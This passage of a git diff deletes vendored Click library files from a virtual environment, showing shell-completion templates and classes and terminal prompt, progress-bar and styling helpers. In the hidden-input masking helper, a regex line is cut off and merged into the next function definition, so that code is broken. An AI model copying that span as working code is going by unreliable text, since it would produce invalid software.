ZshComplet.format_completion.) -_SOURCE_ZSH = """\ -#compdef %(prog_name)s - -%(complete_func)s() { - local -a completions - local -a completions_with_descriptions - local -a response - (( ! $+commands[%(prog_name)s] )) && return 1 - - response=("${(@f)$(env COMP_WORDS="${words[*]}" COMP_CWORD=$((CURRENT-1)) \ -%(complete_var)s=zsh_complete %(prog_name)s)}") - - for type key descr in ${response}; do - if [[ "$type" == "plain" ]]; then - if [[ "$descr" == "_" ]]; then - completions+=("$key") - else - completions_with_descriptions+=("$key":"$descr") - fi - elif [[ "$type" == "dir" ]]; then - _path_files -/ - elif [[ "$type" == "file" ]]; then - _path_files -f - fi - done - - if [ -n "$completions_with_descriptions" ]; then - _describe -V unsorted completions_with_descriptions -U - fi - - if [ -n "$completions" ]; then - compadd -U -V unsorted -a completions - fi -} - -if [[ $zsh_eval_context[-1] == loadautofunc ]]; then - # autoload from fpath, call function directly - %(complete_func)s "$@" -else - # eval/source/. command, register function for later - compdef %(complete_func)s %(prog_name)s -fi -""" - -_SOURCE_FISH = """\ -function %(complete_func)s; - set -l response (env %(complete_var)s=fish_complete COMP_WORDS=(commandline -cp) \ -COMP_CWORD=(commandline -t) %(prog_name)s); - - for completion in $response; - set -l metadata (string split "," $completion); - - if test $metadata[1] = "dir"; - __fish_complete_directories $metadata[2]; - else if test $metadata[1] = "file"; - __fish_complete_path $metadata[2]; - else if test $metadata[1] = "plain"; - echo $metadata[2]; - end; - end; -end; - -complete --no-files --command %(prog_name)s --arguments \ -"(%(complete_func)s)"; -""" - - -class _SourceVarsDict(t.TypedDict): - complete_func: str - complete_var: str - prog_name: str - - -class ShellComplete: - """Base class for providing shell completion support. A subclass for - a given shell will override attributes and methods to implement the - completion instructions (``source`` and ``complete``). - - :param cli: Command being called. - :param prog_name: Name of the executable in the shell. - :param complete_var: Name of the environment variable that holds - the completion instruction. - - .. versionadded:: 8.0 - """ - - name: t.ClassVar[str] - """Name to register the shell as with :func:`add_completion_class`. - This is used in completion instructions (``{name}_source`` and - ``{name}_complete``). - """ - - source_template: t.ClassVar[str] - """Completion script template formatted by :meth:`source`. This must - be provided by subclasses. - """ - - cli: Command - ctx_args: cabc.MutableMapping[str, t.Any] - prog_name: str - complete_var: str - - def __init__( - self, - cli: Command, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - complete_var: str, - ) -> None: - self.cli = cli - self.ctx_args = ctx_args - self.prog_name = prog_name - self.complete_var = complete_var - - @property - def func_name(self) -> str: - """The name of the shell function defined by the completion - script. - """ - safe_name = re.sub(r"\W*", "", self.prog_name.replace("-", "_"), flags=re.ASCII) - return f"_{safe_name}_completion" - - def source_vars(self) -> _SourceVarsDict: - """Vars for formatting :attr:`source_template`. - - By default this provides ``complete_func``, ``complete_var``, - and ``prog_name``. - """ - return { - "complete_func": self.func_name, - "complete_var": self.complete_var, - "prog_name": self.prog_name, - } - - def source(self) -> str: - """Produce the shell script that defines the completion - function. By default this ``%``-style formats - :attr:`source_template` with the dict returned by - :meth:`source_vars`. - """ - return self.source_template % self.source_vars() - - def get_completion_args(self) -> tuple[list[str], str]: - """Use the env vars defined by the shell script to return a - tuple of ``args, incomplete``. This must be implemented by - subclasses. - """ - raise NotImplementedError - - def get_completions( - self, args: list[str], incomplete: str - ) -> list[CompletionItem[str]]: - """Determine the context and last complete command or parameter - from the complete args. Call that object's ``shell_complete`` - method to get the completions for the incomplete value. - - :param args: List of complete args before the incomplete value. - :param incomplete: Value being completed. May be empty. - """ - ctx = _resolve_context(self.cli, self.ctx_args, self.prog_name, args) - obj, incomplete = _resolve_incomplete(ctx, args, incomplete) - return obj.shell_complete(ctx, incomplete) - - def format_completion(self, item: CompletionItem[str]) -> str: - """Format a completion item into the form recognized by the - shell script. This must be implemented by subclasses. - - :param item: Completion item to format. - """ - raise NotImplementedError - - def complete(self) -> str: - """Produce the completion data to send back to the shell. - - By default this calls :meth:`get_completion_args`, gets the - completions, then calls :meth:`format_completion` for each - completion. - """ - args, incomplete = self.get_completion_args() - completions = self.get_completions(args, incomplete) - out = [self.format_completion(item) for item in completions] - return "\n".join(out) - - -class BashComplete(ShellComplete): - """Shell completion for Bash.""" - - name: t.ClassVar[str] = "bash" - source_template: t.ClassVar[str] = _SOURCE_BASH - - @staticmethod - def _check_version() -> None: - import shutil - import subprocess - - bash_exe = shutil.which("bash") - - if bash_exe is None: - match = None - else: - output = subprocess.run( - [bash_exe, "--norc", "-c", 'echo "${BASH_VERSION}"'], - stdout=subprocess.PIPE, - ) - match = re.search(r"^(\d+)\.(\d+)\.\d+", output.stdout.decode()) - - if match is not None: - major, minor = match.groups() - - if major < "4" or major == "4" and minor < "4": - echo( - _( - "Shell completion is not supported for Bash" - " versions older than 4.4." - ), - err=True, - ) - else: - echo( - _("Couldn't detect Bash version, shell completion is not supported."), - err=True, - ) - - def source(self) -> str: - self._check_version() - return super().source() - - def get_completion_args(self) -> tuple[list[str], str]: - cwords = split_arg_string(os.environ["COMP_WORDS"]) - cword = int(os.environ["COMP_CWORD"]) - args = cwords[1:cword] - - try: - incomplete = cwords[cword] - except IndexError: - incomplete = "" - - return args, incomplete - - def format_completion(self, item: CompletionItem[t.Any]) -> str: - return f"{item.type},{item.value}" - - -class ZshComplete(ShellComplete): - """Shell completion for Zsh.""" - - name: t.ClassVar[str] = "zsh" - source_template: t.ClassVar[str] = _SOURCE_ZSH - - def get_completion_args(self) -> tuple[list[str], str]: - cwords = split_arg_string(os.environ["COMP_WORDS"]) - cword = int(os.environ["COMP_CWORD"]) - args = cwords[1:cword] - - try: - incomplete = cwords[cword] - except IndexError: - incomplete = "" - - return args, incomplete - - def format_completion(self, item: CompletionItem[str]) -> str: - help_ = item.help or "_" - # The zsh completion script uses `_describe` on items with help - # texts (which splits the item help from the item value at the - # first unescaped colon) and `compadd` on items without help - # text (which uses the item value as-is and does not support - # colon escaping). So escape colons in the item value if and - # only if the item help is not the sentinel "_" value, as used - # by the completion script. - # - # (The zsh completion script is potentially widely deployed, and - # thus harder to fix than this method.) - # - # See issue #1812 and issue #2703 for further context. - value = item.value.replace(":", r"\:") if help_ != "_" else item.value - return f"{item.type}\n{value}\n{help_}" - - -class FishComplete(ShellComplete): - """Shell completion for Fish.""" - - name: t.ClassVar[str] = "fish" - source_template: t.ClassVar[str] = _SOURCE_FISH - - def get_completion_args(self) -> tuple[list[str], str]: - cwords = split_arg_string(os.environ["COMP_WORDS"]) - incomplete = os.environ["COMP_CWORD"] - if incomplete: - incomplete = split_arg_string(incomplete)[0] - args = cwords[1:] - - # Fish stores the partial word in both COMP_WORDS and - # COMP_CWORD, remove it from complete args. - if incomplete and args and args[-1] == incomplete: - args.pop() - - return args, incomplete - - def format_completion(self, item: CompletionItem[str]) -> str: - """ - .. versionchanged:: 8.4.2 - Escape newlines and replace tabs with spaces in the help text to - fix completion errors with multi-line help strings. - """ - # According to https://fishshell.com/docs/current/cmds/complete.html - # Command substitutions found in ARGUMENTS should return a newline- - # separated list of arguments, and each argument may optionally have a tab - # character followed by the argument description. - if item.help: - help_ = item.help.replace("\n", "\\n").replace("\t", " ") - return f"{item.type},{item.value}\t{help_}" - - return f"{item.type},{item.value}" - - -_available_shells: t.Final[dict[str, type[ShellComplete]]] = { - "bash": BashComplete, - "fish": FishComplete, - "zsh": ZshComplete, -} - -_ShellCompleteT = t.TypeVar("_ShellCompleteT", bound="ShellComplete") - - -def add_completion_class( - cls: type[_ShellCompleteT], name: str | None = None -) -> type[_ShellCompleteT]: - """Register a :class:`ShellComplete` subclass under the given name. - The name will be provided by the completion instruction environment - variable during completion. - - :param cls: The completion class that will handle completion for the - shell. - :param name: Name to register the class under. Defaults to the - class's ``name`` attribute. - """ - if name is None: - name = cls.name - - _available_shells[name] = cls - - return cls - - -@t.overload -def get_completion_class(shell: t.Literal["bash"]) -> type[BashComplete]: ... -@t.overload -def get_completion_class(shell: t.Literal["fish"]) -> type[FishComplete]: ... -@t.overload -def get_completion_class(shell: t.Literal["zsh"]) -> type[ZshComplete]: ... -@t.overload -def get_completion_class(shell: str) -> type[ShellComplete] | None: ... -def get_completion_class(shell: str) -> type[ShellComplete] | None: - """Look up a registered :class:`ShellComplete` subclass by the name - provided by the completion instruction environment variable. If the - name isn't registered, returns ``None``. - - :param shell: Name the class is registered under. - """ - return _available_shells.get(shell) - - -def split_arg_string(string: str) -> list[str]: - """Split an argument string as with :func:`shlex.split`, but don't - fail if the string is incomplete. Ignores a missing closing quote or - incomplete escape sequence and uses the partial token as-is. - - .. code-block:: python - - split_arg_string("example 'my file") - ["example", "my file"] - - split_arg_string("example my\\") - ["example", "my"] - - :param string: String to split. - - .. versionchanged:: 8.2 - Moved to ``shell_completion`` from ``parser``. - """ - import shlex - - lex = shlex.shlex(string, posix=True) - lex.whitespace_split = True - lex.commenters = "" - out = [] - - try: - for token in lex: - out.append(token) - except ValueError: - # Raised when end-of-string is reached in an invalid state. Use - # the partial token as-is. The quote or escape character is in - # lex.state, not lex.token. - out.append(lex.token) - - return out - - -def _is_incomplete_argument(ctx: Context, param: Parameter) -> bool: - """Determine if the given parameter is an argument that can still - accept values. - - :param ctx: Invocation context for the command represented by the - parsed complete args. - :param param: Argument object being checked. - """ - if not isinstance(param, Argument): - return False - - value = ctx.params.get(param.name) - return ( - param.nargs == -1 - or ctx.get_parameter_source(param.name) is not ParameterSource.COMMANDLINE - or ( - param.nargs > 1 - and isinstance(value, (tuple, list)) - and len(value) < param.nargs - ) - ) - - -def _start_of_option(ctx: Context, value: str) -> bool: - """Check if the value looks like the start of an option.""" - if not value: - return False - - c = value[0] - return c in ctx._opt_prefixes - - -def _is_incomplete_option(ctx: Context, args: list[str], param: Parameter) -> bool: - """Determine if the given parameter is an option that needs a value. - - :param args: List of complete args before the incomplete value. - :param param: Option object being checked. - """ - if not isinstance(param, Option): - return False - - if param.is_flag or param.count: - return False - - last_option = None - - for index, arg in enumerate(reversed(args)): - if index + 1 > param.nargs: - break - - if _start_of_option(ctx, arg): - last_option = arg - break - - return last_option is not None and last_option in param.opts - - -def _resolve_context( - cli: Command, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - args: list[str], -) -> Context: - """Produce the context hierarchy starting with the command and - traversing the complete arguments. This only follows the commands, - it doesn't trigger input prompts or callbacks. - - :param cli: Command being called. - :param prog_name: Name of the executable in the shell. - :param args: List of complete args before the incomplete value. - """ - ctx_args["resilient_parsing"] = True - with cli.make_context(prog_name, args.copy(), **ctx_args) as ctx: - args = ctx._protected_args + ctx.args - - while args: - command = ctx.command - - if isinstance(command, Group): - if not command.chain: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - with cmd.make_context( - name, args, parent=ctx, resilient_parsing=True - ) as sub_ctx: - ctx = sub_ctx - args = ctx._protected_args + ctx.args - else: - sub_ctx = ctx - - while args: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - with cmd.make_context( - name, - args, - parent=ctx, - allow_extra_args=True, - allow_interspersed_args=False, - resilient_parsing=True, - ) as sub_sub_ctx: - sub_ctx = sub_sub_ctx - args = sub_ctx.args - - ctx = sub_ctx - args = [*sub_ctx._protected_args, *sub_ctx.args] - else: - break - - return ctx - - -def _resolve_incomplete( - ctx: Context, args: list[str], incomplete: str -) -> tuple[Command | Parameter, str]: - """Find the Click object that will handle the completion of the - incomplete value. Return the object and the incomplete value. - - :param ctx: Invocation context for the command represented by - the parsed complete args. - :param args: List of complete args before the incomplete value. - :param incomplete: Value being completed. May be empty. - """ - # Different shells treat an "=" between a long option name and - # value differently. Might keep the value joined, return the "=" - # as a separate item, or return the split name and value. Always - # split and discard the "=" to make completion easier. - if incomplete == "=": - incomplete = "" - elif "=" in incomplete and _start_of_option(ctx, incomplete): - name, _, incomplete = incomplete.partition("=") - args.append(name) - - # The "--" marker tells Click to stop treating values as options - # even if they start with the option character. If it hasn't been - # given and the incomplete arg looks like an option, the current - # command will provide option name completions. - if "--" not in args and _start_of_option(ctx, incomplete): - return ctx.command, incomplete - - params = ctx.command.get_params(ctx) - - # If the last complete arg is an option name with an incomplete - # value, the option will provide value completions. - for param in params: - if _is_incomplete_option(ctx, args, param): - return param, incomplete - - # It's not an option name or value. The first argument without a - # parsed value will provide value completions. - for param in params: - if _is_incomplete_argument(ctx, param): - return param, incomplete - - # There were no unparsed arguments, the command may be a group that - # will provide command name completions. - return ctx.command, incomplete diff --git a/venv/Lib/site-packages/click/termui.py b/venv/Lib/site-packages/click/termui.py deleted file mode 100644 index 9bc88db14dd66c59ccc99e386b385573d474dfd3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/termui.py +++ /dev/null @@ -1,945 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import inspect -import io -import itertools -import re -import sys -import typing as t -from contextlib import AbstractContextManager -from contextlib import redirect_stdout -from gettext import gettext as _ - -from ._compat import isatty -from ._compat import strip_ansi -from ._compat import WIN -from .exceptions import Abort -from .exceptions import UsageError -from .globals import resolve_color_default -from .types import Choice -from .types import convert_type -from .types import ParamType -from .utils import echo -from .utils import LazyFile - -if t.TYPE_CHECKING: - from ._termui_impl import ProgressBar - -V = t.TypeVar("V") - -# The prompt functions to use. The doc tools currently override these -# functions to customize how they work. -visible_prompt_func: t.Callable[[str], str] = input - -_ansi_colors = { - "black": 30, - "red": 31, - "green": 32, - "yellow": 33, - "blue": 34, - "magenta": 35, - "cyan": 36, - "white": 37, - "reset": 39, - "bright_black": 90, - "bright_red": 91, - "bright_green": 92, - "bright_yellow": 93, - "bright_blue": 94, - "bright_magenta": 95, - "bright_cyan": 96, - "bright_white": 97, -} -_ansi_reset_all = "\033[0m" - - -_HIDDEN_INPUT_MASK = "'***'" - - -def _mask_hidden_input(message: str, value: str) -> str: - """Replace occurrences of ``value`` in ``message`` with a fixed mask. - - Both ``repr(value)`` (the form built-in :class:`ParamType` errors use - via ``{value!r}``) and the raw value are masked. The raw-value pass - uses word-boundary lookarounds so a substring like ``"1"`` does not - match inside ``"10"``, and ``"ent"`` does not match inside - ``"Authentication"``. The empty string is skipped to avoid matching - at every boundary. - """ - message = message.replace(repr(value), _HIDDEN_INPUT_MASK) - if value: - message = re.sub( - rf"(? str: - import getpass - - return getpass.getpass(prompt) - - -def _readline_prompt(func: t.Callable[[str], str], text: str, err: bool) -> str: - """Call a prompt function, passing the full prompt on non-Windows so - readline can handle line editing and cursor positioning correctly. - - On Windows the prompt is written separately via :func:`echo` for - colorama support, with only the last character passed to *func*. - """ - if WIN: - # Write the prompt separately so that we get nice coloring - # through colorama on Windows. - echo(text[:-1], nl=False, err=err) - # Echo the last character to stdout to work around an issue - # where readline causes backspace to clear the whole line. - return func(text[-1:]) - if err: - with redirect_stdout(sys.stderr): - return func(text) - return func(text) - - -def _build_prompt( - text: str, - suffix: str, - show_default: bool | str = False, - default: t.Any | None = None, - show_choices: bool = True, - type: ParamType[t.Any] | None = None, -) -> str: - prompt = text - if type is not None and show_choices and isinstance(type, Choice): - prompt += f" ({', '.join(map(str, type.choices))})" - if isinstance(show_default, str): - default = f"({show_default})" - if default is not None and show_default: - prompt = f"{prompt} [{_format_default(default)}]" - return f"{prompt}{suffix}" - - -def _format_default(default: t.Any) -> t.Any: - if isinstance(default, (io.IOBase, LazyFile)) and hasattr(default, "name"): - return default.name - - return default - - -def prompt( - text: str, - default: t.Any | None = None, - hide_input: bool = False, - confirmation_prompt: bool | str = False, - type: ParamType[t.Any] | t.Any | None = None, - value_proc: t.Callable[[str], t.Any] | None = None, - prompt_suffix: str = ": ", - show_default: bool | str = True, - err: bool = False, - show_choices: bool = True, -) -> t.Any: - """Prompts a user for input. This is a convenience function that can - be used to prompt a user for input later. - - If the user aborts the input by sending an interrupt signal, this - function will catch it and raise a :exc:`Abort` exception. - - :param text: the text to show for the prompt. - :param default: the default value to use if no input happens. If this - is not given it will prompt until it's aborted. - :param hide_input: if this is set to true then the input value will - be hidden. - :param confirmation_prompt: Prompt a second time to confirm the - value. Can be set to a string instead of ``True`` to customize - the message. - :param type: the type to use to check the value against. - :param value_proc: if this parameter is provided it's a function that - is invoked instead of the type conversion to - convert a value. - :param prompt_suffix: a suffix that should be added to the prompt. - :param show_default: shows or hides the default value in the prompt. - If this value is a string, it shows that string - in parentheses instead of the actual value. - :param err: if set to true the file defaults to ``stderr`` instead of - ``stdout``, the same as with echo. - :param show_choices: Show or hide choices if the passed type is a Choice. - For example if type is a Choice of either day or week, - show_choices is true and text is "Group by" then the - prompt will be "Group by (day, week): ". - - .. versionchanged:: 8.3.3 - ``show_default`` can be a string to show a custom value instead - of the actual default, matching the help text behavior. - - .. versionchanged:: 8.3.1 - A space is no longer appended to the prompt. - - .. versionadded:: 8.0 - ``confirmation_prompt`` can be a custom string. - - .. versionadded:: 7.0 - Added the ``show_choices`` parameter. - - .. versionadded:: 6.0 - Added unicode support for cmd.exe on Windows. - - .. versionadded:: 4.0 - Added the `err` parameter. - - """ - - def prompt_func(text: str) -> str: - f = hidden_prompt_func if hide_input else visible_prompt_func - try: - return _readline_prompt(f, text, err) - except (KeyboardInterrupt, EOFError): - # getpass doesn't print a newline if the user aborts input with ^C. - # Allegedly this behavior is inherited from getpass(3). - # A doc bug has been filed at https://bugs.python.org/issue24711 - if hide_input: - echo(None, err=err) - raise Abort() from None - - if value_proc is None: - value_proc = convert_type(type, default) - - prompt = _build_prompt( - text, prompt_suffix, show_default, default, show_choices, type - ) - - if confirmation_prompt: - if confirmation_prompt is True: - confirmation_prompt = _("Repeat for confirmation") - - confirmation_prompt = _build_prompt(confirmation_prompt, prompt_suffix) - - while True: - while True: - value = prompt_func(prompt) - if value: - break - elif default is not None: - value = default - break - try: - result = value_proc(value) - except UsageError as e: - message = _mask_hidden_input(e.message, value) if hide_input else e.message - echo(_("Error: {message}").format(message=message), err=err) - continue - if not confirmation_prompt: - return result - while True: - value2 = prompt_func(confirmation_prompt) - is_empty = not value and not value2 - if value2 or is_empty: - break - if value == value2: - return result - echo(_("Error: The two entered values do not match."), err=err) - - -def confirm( - text: str, - default: bool | None = False, - abort: bool = False, - prompt_suffix: str = ": ", - show_default: bool = True, - err: bool = False, -) -> bool: - """Prompts for confirmation (yes/no question). - - If the user aborts the input by sending a interrupt signal this - function will catch it and raise a :exc:`Abort` exception. - - :param text: the question to ask. - :param default: The default value to use when no input is given. If - ``None``, repeat until input is given. - :param abort: if this is set to `True` a negative answer aborts the - exception by raising :exc:`Abort`. - :param prompt_suffix: a suffix that should be added to the prompt. - :param show_default: shows or hides the default value in the prompt. - :param err: if set to true the file defaults to ``stderr`` instead of - ``stdout``, the same as with echo. - - .. versionchanged:: 8.3.1 - A space is no longer appended to the prompt. - - .. versionchanged:: 8.0 - Repeat until input is given if ``default`` is ``None``. - - .. versionadded:: 4.0 - Added the ``err`` parameter. - """ - prompt = _build_prompt( - text, - prompt_suffix, - show_default, - "y/n" if default is None else ("Y/n" if default else "y/N"), - ) - - while True: - try: - value = _readline_prompt(visible_prompt_func, prompt, err).lower().strip() - except (KeyboardInterrupt, EOFError): - raise Abort() from None - if value in ("y", "yes"): - rv = True - elif value in ("n", "no"): - rv = False - elif default is not None and value == "": - rv = default - else: - echo(_("Error: invalid input"), err=err) - continue - break - if abort and not rv: - raise Abort() - return rv - - -def get_pager_file( - color: bool | None = None, -) -> t.ContextManager[t.TextIO]: - """Context manager. - - Yields a writable file-like object which can be used as an output pager. - - .. versionadded:: 8.4.0 - - :param color: controls if the pager supports ANSI colors or not. The - default is autodetection. - """ - from ._termui_impl import get_pager_file - - color = resolve_color_default(color) - - return get_pager_file(color=color) - - -def echo_via_pager( - text_or_generator: cabc.Iterable[str] | t.Callable[[], cabc.Iterable[str]] | str, - color: bool | None = None, -) -> None: - """This function takes a text and shows it via an environment specific - pager on stdout. - - .. versionchanged:: 3.0 - Added the `color` flag. - - :param text_or_generator: the text to page, or alternatively, a - generator emitting the text to page. - :param color: controls if the pager supports ANSI colors or not. The - default is autodetection. - """ - - if inspect.isgeneratorfunction(text_or_generator): - i = t.cast("t.Callable[[], cabc.Iterable[str]]", text_or_generator)() - elif isinstance(text_or_generator, str): - i = [text_or_generator] - else: - i = iter(t.cast("cabc.Iterable[str]", text_or_generator)) - - # convert every element of i to a text type if necessary - text_generator = (el if isinstance(el, str) else str(el) for el in i) - - with get_pager_file(color=color) as pager: - for text in itertools.chain(text_generator, "\n"): - pager.write(text) - # Flush after each write so a slow generator streams to the pager - # incrementally rather than staying invisible until the pipe buffer - # fills (~8 KB). - pager.flush() - - -@t.overload -def progressbar( - *, - length: int, - label: str | None = None, - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - fill_char: str = "#", - empty_char: str = "-", - bar_template: str = "%(label)s [%(bar)s] %(info)s", - info_sep: str = " ", - width: int = 36, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, -) -> ProgressBar[int]: ... - - -@t.overload -def progressbar( - iterable: cabc.Iterable[V] | None = None, - length: int | None = None, - label: str | None = None, - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - item_show_func: t.Callable[[V | None], str | None] | None = None, - fill_char: str = "#", - empty_char: str = "-", - bar_template: str = "%(label)s [%(bar)s] %(info)s", - info_sep: str = " ", - width: int = 36, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, -) -> ProgressBar[V]: ... - - -def progressbar( - iterable: cabc.Iterable[V] | None = None, - length: int | None = None, - label: str | None = None, - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - item_show_func: t.Callable[[V | None], str | None] | None = None, - fill_char: str = "#", - empty_char: str = "-", - bar_template: str = "%(label)s [%(bar)s] %(info)s", - info_sep: str = " ", - width: int = 36, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, -) -> ProgressBar[V]: - """This function creates an iterable context manager that can be used - to iterate over something while showing a progress bar. It will - either iterate over the `iterable` or `length` items (that are counted - up). While iteration happens, this function will print a rendered - progress bar to the given `file` (defaults to stdout) and will attempt - to calculate remaining time and more. By default, this progress bar - will not be rendered if the file is not a terminal. - - The context manager creates the progress bar. When the context - manager is entered the progress bar is already created. With every - iteration over the progress bar, the iterable passed to the bar is - advanced and the bar is updated. When the context manager exits, - a newline is printed and the progress bar is finalized on screen. - - Note: The progress bar is currently designed for use cases where the - total progress can be expected to take at least several seconds. - Because of this, the ProgressBar class object won't display - progress that is considered too fast, and progress where the time - between steps is less than a second. - - No printing must happen or the progress bar will be unintentionally - destroyed. - - Example usage:: - - with progressbar(items) as bar: - for item in bar: - do_something_with(item) - - Alternatively, if no iterable is specified, one can manually update the - progress bar through the `update()` method instead of directly - iterating over the progress bar. The update method accepts the number - of steps to increment the bar with:: - - with progressbar(length=chunks.total_bytes) as bar: - for chunk in chunks: - process_chunk(chunk) - bar.update(chunks.bytes) - - The ``update()`` method also takes an optional value specifying the - ``current_item`` at the new position. This is useful when used - together with ``item_show_func`` to customize the output for each - manual step:: - - with click.progressbar( - length=total_size, - label='Unzipping archive', - item_show_func=lambda a: a.filename - ) as bar: - for archive in zip_file: - archive.extract() - bar.update(archive.size, archive) - - :param iterable: an iterable to iterate over. If not provided the length - is required. - :param length: the number of items to iterate over. By default the - progressbar will attempt to ask the iterator about its - length, which might or might not work. If an iterable is - also provided this parameter can be used to override the - length. If an iterable is not provided the progress bar - will iterate over a range of that length. - :param label: the label to show next to the progress bar. - :param hidden: hide the progressbar. Defaults to ``False``. When no tty is - detected, it will only print the progressbar label. Setting this to - ``False`` also disables that. - :param show_eta: enables or disables the estimated time display. This is - automatically disabled if the length cannot be - determined. - :param show_percent: enables or disables the percentage display. The - default is `True` if the iterable has a length or - `False` if not. - :param show_pos: enables or disables the absolute position display. The - default is `False`. - :param item_show_func: A function called with the current item which - can return a string to show next to the progress bar. If the - function returns ``None`` nothing is shown. The current item can - be ``None``, such as when entering and exiting the bar. - :param fill_char: the character to use to show the filled part of the - progress bar. - :param empty_char: the character to use to show the non-filled part of - the progress bar. - :param bar_template: the format string to use as template for the bar. - The parameters in it are ``label`` for the label, - ``bar`` for the progress bar and ``info`` for the - info section. - :param info_sep: the separator between multiple info items (eta etc.) - :param width: the width of the progress bar in characters, 0 means full - terminal width - :param file: The file to write to. If this is not a terminal then - only the label is printed. - :param color: controls if the terminal supports ANSI colors or not. The - default is autodetection. This is only needed if ANSI - codes are included anywhere in the progress bar output - which is not the case by default. - :param update_min_steps: Render only when this many updates have - completed. This allows tuning for very fast iterators. - - .. versionadded:: 8.2 - The ``hidden`` argument. - - .. versionchanged:: 8.0 - Output is shown even if execution time is less than 0.5 seconds. - - .. versionchanged:: 8.0 - ``item_show_func`` shows the current item, not the previous one. - - .. versionchanged:: 8.0 - Labels are echoed if the output is not a TTY. Reverts a change - in 7.0 that removed all output. - - .. versionadded:: 8.0 - The ``update_min_steps`` parameter. - - .. versionadded:: 4.0 - The ``color`` parameter and ``update`` method. - - .. versionadded:: 2.0 - """ - from ._termui_impl import ProgressBar - - color = resolve_color_default(color) - return ProgressBar( - iterable=iterable, - length=length, - hidden=hidden, - show_eta=show_eta, - show_percent=show_percent, - show_pos=show_pos, - item_show_func=item_show_func, - fill_char=fill_char, - empty_char=empty_char, - bar_template=bar_template, - info_sep=info_sep, - file=file, - label=label, - width=width, - color=color, - update_min_steps=update_min_steps, - ) - - -def clear() -> None: - """Clears the terminal screen. This will have the effect of clearing - the whole visible space of the terminal and moving the cursor to the - top left. This does not do anything if not connected to a terminal. - - .. versionadded:: 2.0 - """ - if not isatty(sys.stdout): - return - - # ANSI escape \033[2J clears the screen, \033[1;1H moves the cursor - echo("\033[2J\033[1;1H", nl=False) - - -def _interpret_color(color: int | tuple[int, int, int] | str, offset: int = 0) -> str: - if isinstance(color, int): - return f"{38 + offset};5;{color:d}" - - if isinstance(color, (tuple, list)): - r, g, b = color - return f"{38 + offset};2;{r:d};{g:d};{b:d}" - - return str(_ansi_colors[color] + offset) - - -def style( - text: t.Any, - fg: int | tuple[int, int, int] | str | None = None, - bg: int | tuple[int, int, int] | str | None = None, - bold: bool | None = None, - dim: bool | None = None, - underline: bool | None = None, - overline: bool | None = None, - italic: bool | None = None, - blink: bool | None = None, - reverse: bool | None = None, - strikethrough: bool | None = None, - reset: bool = True, -) -> str: - """Styles a text with ANSI styles and returns the new string. By - default the styling is self contained which means that at the end - of the string a reset code is issued. This can be prevented by - passing ``reset=False``. - - Examples:: - - click.echo(click.style('Hello World!', fg='green')) - click.echo(click.style('ATTENTION!', blink=True)) - click.echo(click.style('Some things', reverse=True, fg='cyan')) - click.echo(click.style('More colors', fg=(255, 12, 128), bg=117)) - - Supported color names: - - * ``black`` (might be a gray) - * ``red`` - * ``green`` - * ``yellow`` (might be an orange) - * ``blue`` - * ``magenta`` - * ``cyan`` - * ``white`` (might be light gray) - * ``bright_black`` - * ``bright_red`` - * ``bright_green`` - * ``bright_yellow`` - * ``bright_blue`` - * ``bright_magenta`` - * ``bright_cyan`` - * ``bright_white`` - * ``reset`` (reset the color code only) - - If the terminal supports it, color may also be specified as: - - - An integer in the interval [0, 255]. The terminal must support - 8-bit/256-color mode. - - An RGB tuple of three integers in [0, 255]. The terminal must - support 24-bit/true-color mode. - - See https://en.wikipedia.org/wiki/ANSI_color and - https://gist.github.com/XVilka/8346728 for more information. - - :param text: the string to style with ansi codes. - :param fg: if provided this will become the foreground color. - :param bg: if provided this will become the background color. - :param bold: if provided this will enable or disable bold mode. - :param dim: if provided this will enable or disable dim mode. This is - badly supported. - :param underline: if provided this will enable or disable underline. - :param overline: if provided this will enable or disable overline. - :param italic: if provided this will enable or disable italic. - :param blink: if provided this will enable or disable blinking. - :param reverse: if provided this will enable or disable inverse - rendering (foreground becomes background and the - other way round). - :param strikethrough: if provided this will enable or disable - striking through text. - :param reset: by default a reset-all code is added at the end of the - string which means that styles do not carry over. This - can be disabled to compose styles. - - .. versionchanged:: 8.0 - A non-string ``message`` is converted to a string. - - .. versionchanged:: 8.0 - Added support for 256 and RGB color codes. - - .. versionchanged:: 8.0 - Added the ``strikethrough``, ``italic``, and ``overline`` - parameters. - - .. versionchanged:: 7.0 - Added support for bright colors. - - .. versionadded:: 2.0 - """ - if not isinstance(text, str): - text = str(text) - - bits = [] - - if fg: - try: - bits.append(f"\033[{_interpret_color(fg)}m") - except KeyError: - raise TypeError(_("Unknown color {colour!r}").format(colour=fg)) from None - - if bg: - try: - bits.append(f"\033[{_interpret_color(bg, 10)}m") - except KeyError: - raise TypeError(_("Unknown color {colour!r}").format(colour=bg)) from None - - if bold is not None: - bits.append(f"\033[{1 if bold else 22}m") - if dim is not None: - bits.append(f"\033[{2 if dim else 22}m") - if underline is not None: - bits.append(f"\033[{4 if underline else 24}m") - if overline is not None: - bits.append(f"\033[{53 if overline else 55}m") - if italic is not None: - bits.append(f"\033[{3 if italic else 23}m") - if blink is not None: - bits.append(f"\033[{5 if blink else 25}m") - if reverse is not None: - bits.append(f"\033[{7 if reverse else 27}m") - if strikethrough is not None: - bits.append(f"\033[{9 if strikethrough else 29}m") - bits.append(text) - if reset: - bits.append(_ansi_reset_all) - return "".join(bits) - - -def unstyle(text: str) -> str: - """Removes ANSI styling information from a string. Usually it's not - necessary to use this function as Click's echo function will - automatically remove styling if necessary. - - .. versionadded:: 2.0 - - :param text: the text to remove style information from. - """ - return strip_ansi(text) - - -def secho( - message: t.Any | None = None, - file: t.IO[t.AnyStr] | None = None, - nl: bool = True, - err: bool = False, - color: bool | None = None, - **styles: t.Any, -) -> None: - """This function combines :func:`echo` and :func:`style` into one - call. As such the following two calls are the same:: - - click.secho('Hello World!', fg='green') - click.echo(click.style('Hello World!', fg='green')) - - All 